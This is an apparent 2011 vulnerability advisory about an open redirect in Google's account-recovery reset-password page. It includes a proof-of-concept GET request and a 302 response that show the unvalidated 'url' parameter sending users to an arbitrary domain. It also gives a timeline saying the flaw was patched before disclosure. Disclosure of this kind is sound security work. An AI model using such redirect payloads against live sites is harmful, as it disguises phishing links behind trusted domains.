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Google.com Open Redirect

Google.com Open Redirect
Posted Nov 9, 2011
Authored by Anastasios Monachos

Google.com suffered from an open redirect vulnerability.

tags | exploit
MD5 | 0f7557cef07daac4ea0c99648aa4ced6

Google.com Open Redirect

Change Mirror Download
=======================================================================
Google.com - Open Redirect
=======================================================================

Affected Domain : Google.com
Severity : Very Low
Local/Remote : Remote
Vulnerable URL : https://www.google.com/accounts/recovery/resetpassword?url=http://<any_domain>
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm(at)gmail(dot)com]

[Summary]

Due to a parameter filtering bug any supplied input is accepted; as result redirects a user to the parameter value without any validation.


[Vulnerability Details]

GET Request:
------------
GET https://www.google.com/accounts/recovery/resetpassword?url=http://www.bbc.co.uk HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

GET Response:
-------------
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Wed, 26 Oct 2011 18:44:19 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: mainpageaccountrecoveryparamscookie=; Expires=Wed, 02-Nov-2011 18:44:19 GMT; Path=/accounts/recovery; Secure; HttpOnly
Location: http://www.bbc.co.uk
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="http://www.bbc.co.uk">here</A>.
</BODY>
</HTML>


[Time-line]

25/10/2011 - Google notified
26/10/2011 - Google responded
02/11/2011 - Vendor patch released
08/11/2011 - Public disclosure

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